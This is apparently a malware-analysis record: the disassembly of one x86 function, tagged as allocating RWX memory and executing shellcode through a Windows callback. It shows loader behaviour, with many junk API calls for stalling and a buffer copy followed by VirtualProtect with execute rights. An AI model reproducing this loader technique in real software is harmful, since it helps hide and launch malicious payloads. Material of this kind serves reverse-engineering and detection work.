Function at 0x477add
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc5c
mov eax, dword [0x480004]
xor eax, esp
mov dword [esp + 0xc58], eax
mov eax, dword [0x490754]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0xfe
jne 0x477b15
mov eax, dword [0x4817c0]
add eax, 0x9e49
cmp eax, 0xd5d
jne 0x477b2d
or dword [0x482944], 0xffffffff
mov dword [0x482940], 0xec58acac
inc ecx
cmp ecx, 0x12378fe
jl 0x477b03
mov dword [0x490754], eax
xor ecx, ecx
cmp ecx, 0x565401
jne 0x477b51
mov edx, dword [0x480ff8]
mov dword [0x490758], edx
inc ecx
cmp ecx, 0x5ea924
jl 0x477b3d
cmp eax, 0x7c
jne 0x477be4
push esi
lea eax, [esp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x490754], 0x54
jne 0x477bd6
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.siser
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call fcn.0040120d
pop ecx
push esi
call fcn.00401223
pop ecx
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x64]
push eax
push esi
lea eax, [esp + 0x18]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x30]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x25930
jg 0x477c3f
inc ebx
cmp ebx, 0xead09
jl 0x477be6
jmp 0x477c53
cmp dword [0x490754], 0xa
jne 0x477c53
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x490754], 0x2a
jne 0x477d4c
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x64]
push eax
push str.sakuyekitayulifekevesul
lea eax, [esp + 0x18]
push eax
push esi
push esi
mov dword [0x490618], esi
mov dword [0x49061c], esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push str.rijuyeyobujerecihu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
push esi
lea eax, [esp + 0x468]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
fld qword [0x47e508]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x47e4dc
push str._s__f__c
call fcn.00401470
add esp, 0x14
push esi
push esi
call fcn.0040112a
mov ebx, 0x47e4ec
push ebx
push str.0__f
mov edi, 0x4828b8
push edi
call fcn.00401110
add esp, 0x14
push esi
push esi
call fcn.0040112a
push ebx
push str._s__c
push edi
call fcn.00401470
add esp, 0x14
push esi
call fcn.0040b8e4
pop ecx
call fcn.00407f9d
push esi
push esi
call fcn.0040112a
push esi
push esi
call fcn.0040112a
push ebx
push edi
call fcn.004011f0
push esi
call fcn.00401459
add esp, 0x1c
push esi
call fcn.0040122e
pop ecx
push esi
push esi
push esi
call fcn.00401015
add esp, 0xc
push dword [0x490754]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x490754]
xor edi, edi
mov dword [0x490470], eax
cmp ecx, esi
jbe 0x477d91
mov edx, dword [0x490758]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x477d8c
mov dword [0x490474], 0x19b0
inc edi
cmp edi, ecx
jb 0x477d6a
call fcn.004778bd
lea eax, [esp + 0x1c]
push eax
push 0x40
push dword [0x490754]
push dword [0x490470]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00477a4c
xor edi, edi
cmp dword [0x490754], 0x41
jne 0x477dd5
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp edi, 0xd606b
jne 0x477de2
call fcn.004778b2
inc edi
cmp edi, 0x24e87d
jl 0x477db6
mov dword [0x490620], 0x8e46a6f0
cmp esi, 0x408e
jle 0x477e07
cmp dword [esp + 0x40], 0xf5bed7
jne 0x477e10
inc esi
cmp esi, 0x687ed2
jl 0x477df5
mov ecx, dword [esp + 0xc64]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret